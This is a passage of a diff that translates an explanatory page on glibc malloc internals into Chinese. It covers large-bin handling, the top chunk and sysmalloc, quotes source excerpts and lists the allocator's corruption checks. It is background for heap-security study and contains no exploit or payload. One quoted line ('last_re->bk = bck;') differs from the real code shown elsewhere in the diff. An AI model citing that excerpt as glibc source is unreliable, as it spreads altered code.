+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
#if USE_TCACHE
- }
+}
#endif
- }
+}
```
-
-If chunk not returned or added to tcache, continue with the code...
+如果块没有返回或添加到 tcache,继续执行代码...
-#### place chunk in a bin
+#### 将块放入一个桶
-Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized).
+根据块的大小将检查过的块存储在小桶或大桶中(保持大桶的正确组织)。
-There are security checks being performed to make sure both large bin doubled linked list are corrupted:
+正在执行安全检查,以确保两个大桶的双向链表没有损坏:
-- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
-- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
+- 如果 `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
+- 如果 `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin
-
+_int_malloc 将块放入一个桶
```c
/* place chunk in bin */
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
- }
- else
- {
- victim_index = largebin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
+if (in_smallbin_range (size))
+{
+victim_index = smallbin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
+}
+else
+{
+victim_index = largebin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
- /* maintain large bins in sorted order */
- if (fwd != bck)
- {
- /* Or with inuse bit to speed comparisons */
- size |= PREV_INUSE;
- /* if smaller than smallest, bypass loop below */
- assert (chunk_main_arena (bck->bk));
- if ((unsigned long) (size)
- < (unsigned long) chunksize_nomask (bck->bk))
- {
- fwd = bck;
- bck = bck->bk;
+/* maintain large bins in sorted order */
+if (fwd != bck)
+{
+/* Or with inuse bit to speed comparisons */
+size |= PREV_INUSE;
+/* if smaller than smallest, bypass loop below */
+assert (chunk_main_arena (bck->bk));
+if ((unsigned long) (size)
+< (unsigned long) chunksize_nomask (bck->bk))
+{
+fwd = bck;
+bck = bck->bk;
- victim->fd_nextsize = fwd->fd;
- victim->bk_nextsize = fwd->fd->bk_nextsize;
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
- }
- else
- {
- assert (chunk_main_arena (fwd));
- while ((unsigned long) size < chunksize_nomask (fwd))
- {
- fwd = fwd->fd_nextsize;
- assert (chunk_main_arena (fwd));
- }
+victim->fd_nextsize = fwd->fd;
+victim->bk_nextsize = fwd->fd->bk_nextsize;
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
+}
+else
+{
+assert (chunk_main_arena (fwd));
+while ((unsigned long) size < chunksize_nomask (fwd))
+{
+fwd = fwd->fd_nextsize;
+assert (chunk_main_arena (fwd));
+}
- if ((unsigned long) size
- == (unsigned long) chunksize_nomask (fwd))
- /* Always insert in the second position. */
- fwd = fwd->fd;
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize;
- if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
- malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim;
- }
- bck = fwd->bk;
- if (bck->fd != fwd)
- malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
- }
- }
- else
- victim->fd_nextsize = victim->bk_nextsize = victim;
- }
+if ((unsigned long) size
+== (unsigned long) chunksize_nomask (fwd))
+/* Always insert in the second position. */
+fwd = fwd->fd;
+else
+{
+victim->fd_nextsize = fwd;
+victim->bk_nextsize = fwd->bk_nextsize;
+if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
+malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
+fwd->bk_nextsize = victim;
+victim->bk_nextsize->fd_nextsize = victim;
+}
+bck = fwd->bk;
+if (bck->fd != fwd)
+malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
+}
+}
+else
+victim->fd_nextsize = victim->bk_nextsize = victim;
+}
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;
- bck->fd = victim;
+mark_bin (av, victim_index);
+victim->bk = bck;
+victim->fd = fwd;
+fwd->bk = victim;
+bck->fd = victim;
```
-
-#### `_int_malloc` limits
+#### `_int_malloc` 限制
-At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**.
+在这一点上,如果某个块存储在 tcache 中并且可以使用且达到了限制,就**返回一个 tcache 块**。
-Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk).
+此外,如果达到了 **MAX_ITERS**,则从循环中退出并以不同的方式获取一个块(顶块)。
-If `return_cached` was set, just return a chunk from the tcache to avoid larger searches.
+如果设置了 `return_cached`,则只需从 tcache 返回一个块以避免更大的搜索。
-_int_malloc limits
-
+_int_malloc 限制
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
#if USE_TCACHE
- /* If we've processed as many chunks as we're allowed while
- filling the cache, return one of the cached ones. */
- ++tcache_unsorted_count;
- if (return_cached
- && mp_.tcache_unsorted_limit > 0
- && tcache_unsorted_count > mp_.tcache_unsorted_limit)
- {
- return tcache_get (tc_idx);
- }
+/* If we've processed as many chunks as we're allowed while
+filling the cache, return one of the cached ones. */
+++tcache_unsorted_count;
+if (return_cached
+&& mp_.tcache_unsorted_limit > 0
+&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
+{
+return tcache_get (tc_idx);
+}
#endif
#define MAX_ITERS 10000
- if (++iters >= MAX_ITERS)
- break;
- }
+if (++iters >= MAX_ITERS)
+break;
+}
#if USE_TCACHE
- /* If all the small chunks we found ended up cached, return one now. */
- if (return_cached)
- {
- return tcache_get (tc_idx);
- }
+/* If all the small chunks we found ended up cached, return one now. */
+if (return_cached)
+{
+return tcache_get (tc_idx);
+}
#endif
```
-
-If limits not reached, continue with the code...
+如果未达到限制,请继续代码...
-### Large Bin (by index)
+### 大块(按索引)
-If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size.
+如果请求很大(不在小块中),并且我们尚未返回任何块,请获取所请求大小在**大块**中的**索引**,检查是否**不为空**,或者如果**此块中最大的块大于**所请求的大小,在这种情况下找到**可以用于所请求大小的最小块**。
-If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated.
+如果最终使用的块的剩余空间可以成为一个新块,则将其添加到未排序的块中,并更新last_reminder。
-A security check is made when adding the reminder to the unsorted bin:
+在将剩余空间添加到未排序的块时会进行安全检查:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index)
-
+_int_malloc 大块(按索引)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
/*
- If a large request, scan through the chunks of current bin in
- sorted order to find smallest that fits. Use the skip list for this.
- */
+If a large request, scan through the chunks of current bin in
+sorted order to find smallest that fits. Use the skip list for this.
+*/
- if (!in_smallbin_range (nb))
- {
- bin = bin_at (av, idx);
+if (!in_smallbin_range (nb))
+{
+bin = bin_at (av, idx);
- /* skip scan if empty or largest chunk is too small */
- if ((victim = first (bin)) != bin
- && (unsigned long) chunksize_nomask (victim)
- >= (unsigned long) (nb))
- {
- victim = victim->bk_nextsize;
- while (((unsigned long) (size = chunksize (victim)) <
- (unsigned long) (nb)))
- victim = victim->bk_nextsize;
+/* skip scan if empty or largest chunk is too small */
+if ((victim = first (bin)) != bin
+&& (unsigned long) chunksize_nomask (victim)
+>= (unsigned long) (nb))
+{
+victim = victim->bk_nextsize;
+while (((unsigned long) (size = chunksize (victim)) <
+(unsigned long) (nb)))
+victim = victim->bk_nextsize;
- /* Avoid removing the first entry for a size so that the skip
- list does not have to be rerouted. */
- if (victim != last (bin)
- && chunksize_nomask (victim)
- == chunksize_nomask (victim->fd))
- victim = victim->fd;
+/* Avoid removing the first entry for a size so that the skip
+list does not have to be rerouted. */
+if (victim != last (bin)
+&& chunksize_nomask (victim)
+== chunksize_nomask (victim->fd))
+victim = victim->fd;
- remainder_size = size - nb;
- unlink_chunk (av, victim);
+remainder_size = size - nb;
+unlink_chunk (av, victim);
- /* Exhaust */
- if (remainder_size < MINSIZE)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
- }
- /* Split */
- else
- {
- remainder = chunk_at_offset (victim, nb);
- /* We cannot assume the unsorted list is empty and therefore
- have to perform a complete insert here. */
- bck = unsorted_chunks (av);
- fwd = bck->fd;
- if (__glibc_unlikely (fwd->bk != bck))
- malloc_printerr ("malloc(): corrupted unsorted chunks");
- last_re->bk = bck;
- remainder->fd = fwd;
- bck->fd = remainder;
- fwd->bk = remainder;
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
- }
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here. */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks");
+last_re->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
```
-
-If a chunk isn't found suitable for this, continue
+如果没有找到合适的块,请继续
-### Large Bin (next bigger)
+### 大块(下一个更大)
-If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any).
+如果在确切的大块中没有任何可以使用的块,请开始循环遍历所有下一个大块(从立即更大的开始),直到找到一个(如果有的话)。
-The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed:
+分割块的剩余部分被添加到未排序的块中,last_reminder 被更新,并执行相同的安全检查:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
-_int_malloc Large bin (next bigger)
-
+_int_malloc 大块(下一个更大)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
/*
- Search for a chunk by scanning bins, starting with next largest
- bin. This search is strictly by best-fit; i.e., the smallest
- (with ties going to approximately the least recently used) chunk
- that fits is selected.
+Search for a chunk by scanning bins, starting with next largest
+bin. This search is strictly by best-fit; i.e., the smallest
+(with ties going to approximately the least recently used) chunk
+that fits is selected.
- The bitmap avoids needing to check that most blocks are nonempty.
- The particular case of skipping all bins during warm-up phases
- when no chunks have been returned yet is faster than it might look.
- */
+The bitmap avoids needing to check that most blocks are nonempty.
+The particular case of skipping all bins during warm-up phases
+when no chunks have been returned yet is faster than it might look.
+*/
- ++idx;
- bin = bin_at (av, idx);
- block = idx2block (idx);
- map = av->binmap[block];
- bit = idx2bit (idx);
+++idx;
+bin = bin_at (av, idx);
+block = idx2block (idx);
+map = av->binmap[block];
+bit = idx2bit (idx);
- for (;; )
- {
- /* Skip rest of block if there are no more set bits in this block. */
- if (bit > map || bit == 0)
- {
- do
- {
- if (++block >= BINMAPSIZE) /* out of bins */
- goto use_top;
- }
- while ((map = av->binmap[block]) == 0);
+for (;; )
+{
+/* Skip rest of block if there are no more set bits in this block. */
+if (bit > map || bit == 0)
+{
+do
+{
+if (++block >= BINMAPSIZE) /* out of bins */
+goto use_top;
+}
+while ((map = av->binmap[block]) == 0);
- bin = bin_at (av, (block << BINMAPSHIFT));
- bit = 1;
- }
+bin = bin_at (av, (block << BINMAPSHIFT));
+bit = 1;
+}
- /* Advance to bin with set bit. There must be one. */
- while ((bit & map) == 0)
- {
- bin = next_bin (bin);
- bit <<= 1;
- assert (bit != 0);
- }
+/* Advance to bin with set bit. There must be one. */
+while ((bit & map) == 0)
+{
+bin = next_bin (bin);
+bit <<= 1;
+assert (bit != 0);
+}
- /* Inspect the bin. It is likely to be non-empty */
- victim = last (bin);
+/* Inspect the bin. It is likely to be non-empty */
+victim = last (bin);
- /* If a false alarm (empty bin), clear the bit. */
- if (victim == bin)
- {
- av->binmap[block] = map &= ~bit; /* Write through */
- bin = next_bin (bin);
- bit <<= 1;
- }
+/* If a false alarm (empty bin), clear the bit. */
+if (victim == bin)
+{
+av->binmap[block] = map &= ~bit; /* Write through */
+bin = next_bin (bin);
+bit <<= 1;
+}
- else
- {
- size = chunksize (victim);
+else
+{
+size = chunksize (victim);
- /* We know the first chunk in this bin is big enough to use. */
- assert ((unsigned long) (size) >= (unsigned long) (nb));
+/* We know the first chunk in this bin is big enough to use. */
+assert ((unsigned long) (size) >= (unsigned long) (nb));
- remainder_size = size - nb;
+remainder_size = size - nb;
- /* unlink */
- unlink_chunk (av, victim);
+/* unlink */
+unlink_chunk (av, victim);
- /* Exhaust */
- if (remainder_size < MINSIZE)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- set_non_main_arena (victim);
- }
+/* Exhaust */
+if (remainder_size < MINSIZE)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
+}
- /* Split */
- else
- {
- remainder = chunk_at_offset (victim, nb);
+/* Split */
+else
+{
+remainder = chunk_at_offset (victim, nb);
- /* We cannot assume the unsorted list is empty and therefore
- have to perform a complete insert here. */
- bck = unsorted_chunks (av);
- fwd = bck->fd;
- if (__glibc_unlikely (fwd->bk != bck))
- malloc_printerr ("malloc(): corrupted unsorted chunks 2");
- remainder->bk = bck;
- remainder->fd = fwd;
- bck->fd = remainder;
- fwd->bk = remainder;
+/* We cannot assume the unsorted list is empty and therefore
+have to perform a complete insert here. */
+bck = unsorted_chunks (av);
+fwd = bck->fd;
+if (__glibc_unlikely (fwd->bk != bck))
+malloc_printerr ("malloc(): corrupted unsorted chunks 2");
+remainder->bk = bck;
+remainder->fd = fwd;
+bck->fd = remainder;
+fwd->bk = remainder;
- /* advertise as last remainder */
- if (in_smallbin_range (nb))
- av->last_remainder = remainder;
- if (!in_smallbin_range (remainder_size))
- {
- remainder->fd_nextsize = NULL;
- remainder->bk_nextsize = NULL;
- }
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- set_foot (remainder, remainder_size);
- }
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
+/* advertise as last remainder */
+if (in_smallbin_range (nb))
+av->last_remainder = remainder;
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
+}
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
```
-
-### Top Chunk
+### 顶部块
-At this point, it's time to get a new chunk from the Top chunk (if big enough).
+此时,是时候从顶部块获取一个新块(如果足够大)。
-It starts with a security check making sure that the size of the chunk size is not too big (corrupted):
+它首先进行安全检查,确保块的大小不太大(已损坏):
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
-Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\
-If not, if there are fast chunks, consolidate them and try again.\
-Finally, if not enough space use `sysmalloc` to allocate enough size.
+然后,如果顶部块空间足够大,将其用于创建请求大小的块。\
+如果不够大,如果有快速块,则合并它们并重试。\
+最后,如果空间仍然不足,使用 `sysmalloc` 分配足够的大小。
-_int_malloc Top chunk
-
+_int_malloc 顶部块
```c
use_top:
- /*
- If large enough, split off the chunk bordering the end of memory
- (held in av->top). Note that this is in accord with the best-fit
- search rule. In effect, av->top is treated as larger (and thus
- less well fitting) than any other available chunk since it can
- be extended to be as large as necessary (up to system
- limitations).
+/*
+If large enough, split off the chunk bordering the end of memory
+(held in av->top). Note that this is in accord with the best-fit
+search rule. In effect, av->top is treated as larger (and thus
+less well fitting) than any other available chunk since it can
+be extended to be as large as necessary (up to system
+limitations).
- We require that av->top always exists (i.e., has size >=
- MINSIZE) after initialization, so if it would otherwise be
- exhausted by current request, it is replenished. (The main
- reason for ensuring it exists is that we may need MINSIZE space
- to put in fenceposts in sysmalloc.)
- */
+We require that av->top always exists (i.e., has size >=
+MINSIZE) after initialization, so if it would otherwise be
+exhausted by current request, it is replenished. (The main
+reason for ensuring it exists is that we may need MINSIZE space
+to put in fenceposts in sysmalloc.)
+*/
- victim = av->top;
- size = chunksize (victim);
+victim = av->top;
+size = chunksize (victim);
- if (__glibc_unlikely (size > av->system_mem))
- malloc_printerr ("malloc(): corrupted top size");
+if (__glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): corrupted top size");
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
- {
- remainder_size = size - nb;
- remainder = chunk_at_offset (victim, nb);
- av->top = remainder;
- set_head (victim, nb | PREV_INUSE |
- (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+av->top = remainder;
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
- /* When we are using atomic ops to free fast chunks we can get
- here for all block sizes. */
- else if (atomic_load_relaxed (&av->have_fastchunks))
- {
- malloc_consolidate (av);
- /* restore original bin index */
- if (in_smallbin_range (nb))
- idx = smallbin_index (nb);
- else
- idx = largebin_index (nb);
- }
+/* When we are using atomic ops to free fast chunks we can get
+here for all block sizes. */
+else if (atomic_load_relaxed (&av->have_fastchunks))
+{
+malloc_consolidate (av);
+/* restore original bin index */
+if (in_smallbin_range (nb))
+idx = smallbin_index (nb);
+else
+idx = largebin_index (nb);
+}
- /*
- Otherwise, relay to handle system-dependent cases
- */
- else
- {
- void *p = sysmalloc (nb, av);
- if (p != NULL)
- alloc_perturb (p, bytes);
- return p;
- }
- }
+/*
+Otherwise, relay to handle system-dependent cases
+*/
+else
+{
+void *p = sysmalloc (nb, av);
+if (p != NULL)
+alloc_perturb (p, bytes);
+return p;
+}
+}
}
```
-
## sysmalloc
-### sysmalloc start
+### sysmalloc 开始
-If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it.
+如果 arena 为 null 或请求的大小太大(并且允许的 mmaps 仍然存在),则使用 `sysmalloc_mmap` 分配空间并返回。
-sysmalloc start
-
+sysmalloc 开始
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
/*
- sysmalloc handles malloc cases requiring more memory from the system.
- On entry, it is assumed that av->top does not have enough
- space to service request for nb bytes, thus requiring that av->top
- be extended or replaced.
- */
+sysmalloc handles malloc cases requiring more memory from the system.
+On entry, it is assumed that av->top does not have enough
+space to service request for nb bytes, thus requiring that av->top
+be extended or replaced.
+*/
- static void *
+static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
- mchunkptr old_top; /* incoming value of av->top */
- INTERNAL_SIZE_T old_size; /* its size */
- char *old_end; /* its end address */
+mchunkptr old_top; /* incoming value of av->top */
+INTERNAL_SIZE_T old_size; /* its size */
+char *old_end; /* its end address */
- long size; /* arg to first MORECORE or mmap call */
- char *brk; /* return value from MORECORE */
+long size; /* arg to first MORECORE or mmap call */
+char *brk; /* return value from MORECORE */
- long correction; /* arg to 2nd MORECORE call */
- char *snd_brk; /* 2nd return val */
+long correction; /* arg to 2nd MORECORE call */
+char *snd_brk; /* 2nd return val */
- INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
- INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */
- char *aligned_brk; /* aligned offset into brk */
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
+INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */
+char *aligned_brk; /* aligned offset into brk */
- mchunkptr p; /* the allocated/returned chunk */
- mchunkptr remainder; /* remainder from allocation */
- unsigned long remainder_size; /* its size */
+mchunkptr p; /* the allocated/returned chunk */
+mchunkptr remainder; /* remainder from allocation */
+unsigned long remainder_size; /* its size */
- size_t pagesize = GLRO (dl_pagesize);
- bool tried_mmap = false;
+size_t pagesize = GLRO (dl_pagesize);
+bool tried_mmap = false;
- /*
- If have mmap, and the request size meets the mmap threshold, and
- the system supports mmap, and there are few enough currently
- allocated mmapped regions, try to directly map this request
- rather than expanding top.
- */
+/*
+If have mmap, and the request size meets the mmap threshold, and
+the system supports mmap, and there are few enough currently
+allocated mmapped regions, try to directly map this request
+rather than expanding top.
+*/
- if (av == NULL
- || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
- && (mp_.n_mmaps < mp_.n_mmaps_max)))
- {
- char *mm;
- if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
- {
- /* There is no need to issue the THP madvise call if Huge Pages are
- used directly. */
- mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
- if (mm != MAP_FAILED)
- return mm;
- }
- mm = sysmalloc_mmap (nb, pagesize, 0, av);
- if (mm != MAP_FAILED)
- return mm;
- tried_mmap = true;
- }
+if (av == NULL
+|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
+&& (mp_.n_mmaps < mp_.n_mmaps_max)))
+{
+char *mm;
+if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize)
+{
+/* There is no need to issue the THP madvise call if Huge Pages are
+used directly. */
+mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+tried_mmap = true;
+}
- /* There are no usable arenas and mmap also failed. */
- if (av == NULL)
- return 0;
+/* There are no usable arenas and mmap also failed. */
+if (av == NULL)
+return 0;
```
-
-### sysmalloc checks
+### sysmalloc 检查
-It starts by getting old top chunk information and checking that some of the following condations are true:
+它首先获取旧的 top chunk 信息,并检查以下条件是否为真:
-- The old heap size is 0 (new heap)
-- The size of the previous heap is greater and MINSIZE and the old Top is in use
-- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0)
+- 旧的堆大小为 0(新堆)
+- 前一个堆的大小大于 MINSIZE 且旧的 Top 正在使用中
+- 堆与页面大小对齐(0x1000,因此低 12 位需要为 0)
-Then it also checks that:
+然后它还检查:
-- The old size hasn't enough space to create a chunk for the requested size
+- 旧的大小没有足够的空间为请求的大小创建一个 chunk
-sysmalloc checks
-
+sysmalloc 检查
```c
/* Record incoming configuration of top */
- old_top = av->top;
- old_size = chunksize (old_top);
- old_end = (char *) (chunk_at_offset (old_top, old_size));
+old_top = av->top;
+old_size = chunksize (old_top);
+old_end = (char *) (chunk_at_offset (old_top, old_size));
- brk = snd_brk = (char *) (MORECORE_FAILURE);
+brk = snd_brk = (char *) (MORECORE_FAILURE);
- /*
- If not the first time through, we require old_size to be
- at least MINSIZE and to have prev_inuse set.
- */
+/*
+If not the first time through, we require old_size to be
+at least MINSIZE and to have prev_inuse set.
+*/
- assert ((old_top == initial_top (av) && old_size == 0) ||
- ((unsigned long) (old_size) >= MINSIZE &&
- prev_inuse (old_top) &&
- ((unsigned long) old_end & (pagesize - 1)) == 0));
+assert ((old_top == initial_top (av) && old_size == 0) ||
+((unsigned long) (old_size) >= MINSIZE &&
+prev_inuse (old_top) &&
+((unsigned long) old_end & (pagesize - 1)) == 0));
- /* Precondition: not enough current space to satisfy nb request */
- assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
+/* Precondition: not enough current space to satisfy nb request */
+assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
```
-
-### sysmalloc not main arena
+### sysmalloc 不是主区域
-It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\
-Finally if that didn't work, try calling **`sysmalloc_mmap`**.
+它将首先尝试 **扩展** 之前的堆。如果不可能,则尝试 **分配一个新的堆** 并更新指针以便能够使用它。\
+最后,如果这也不行,尝试调用 **`sysmalloc_mmap`**。
-sysmalloc not main arena
-
+sysmalloc 不是主区域
```c
if (av != &main_arena)
- {
- heap_info *old_heap, *heap;
- size_t old_heap_size;
+{
+heap_info *old_heap, *heap;
+size_t old_heap_size;
- /* First try to extend the current heap. */
- old_heap = heap_for_ptr (old_top);
- old_heap_size = old_heap->size;
- if ((long) (MINSIZE + nb - old_size) > 0
- && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
- {
- av->system_mem += old_heap->size - old_heap_size;
- set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
- | PREV_INUSE);
- }
- else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
- {
- /* Use a newly allocated heap. */
- heap->ar_ptr = av;
- heap->prev = old_heap;
- av->system_mem += heap->size;
- /* Set up the new top. */
- top (av) = chunk_at_offset (heap, sizeof (*heap));
- set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
+/* First try to extend the current heap. */
+old_heap = heap_for_ptr (old_top);
+old_heap_size = old_heap->size;
+if ((long) (MINSIZE + nb - old_size) > 0
+&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
+{
+av->system_mem += old_heap->size - old_heap_size;
+set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
+| PREV_INUSE);
+}
+else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
+{
+/* Use a newly allocated heap. */
+heap->ar_ptr = av;
+heap->prev = old_heap;
+av->system_mem += heap->size;
+/* Set up the new top. */
+top (av) = chunk_at_offset (heap, sizeof (*heap));
+set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
- /* Setup fencepost and free the old top chunk with a multiple of
- MALLOC_ALIGNMENT in size. */
- /* The fencepost takes at least MINSIZE bytes, because it might
- become the top chunk again later. Note that a footer is set
- up, too, although the chunk is marked in use. */
- old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
- set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
- 0 | PREV_INUSE);
- if (old_size >= MINSIZE)
- {
- set_head (chunk_at_offset (old_top, old_size),
- CHUNK_HDR_SZ | PREV_INUSE);
- set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
- set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
- _int_free (av, old_top, 1);
- }
- else
- {
- set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
- set_foot (old_top, (old_size + CHUNK_HDR_SZ));
- }
- }
- else if (!tried_mmap)
- {
- /* We can at least try to use to mmap memory. If new_heap fails
- it is unlikely that trying to allocate huge pages will
- succeed. */
- char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
- if (mm != MAP_FAILED)
- return mm;
- }
- }
+/* Setup fencepost and free the old top chunk with a multiple of
+MALLOC_ALIGNMENT in size. */
+/* The fencepost takes at least MINSIZE bytes, because it might
+become the top chunk again later. Note that a footer is set
+up, too, although the chunk is marked in use. */
+old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
+set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ),
+0 | PREV_INUSE);
+if (old_size >= MINSIZE)
+{
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ);
+set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
+_int_free (av, old_top, 1);
+}
+else
+{
+set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE);
+set_foot (old_top, (old_size + CHUNK_HDR_SZ));
+}
+}
+else if (!tried_mmap)
+{
+/* We can at least try to use to mmap memory. If new_heap fails
+it is unlikely that trying to allocate huge pages will
+succeed. */
+char *mm = sysmalloc_mmap (nb, pagesize, 0, av);
+if (mm != MAP_FAILED)
+return mm;
+}
+}
```
-
-### sysmalloc main arena
+### sysmalloc 主区域
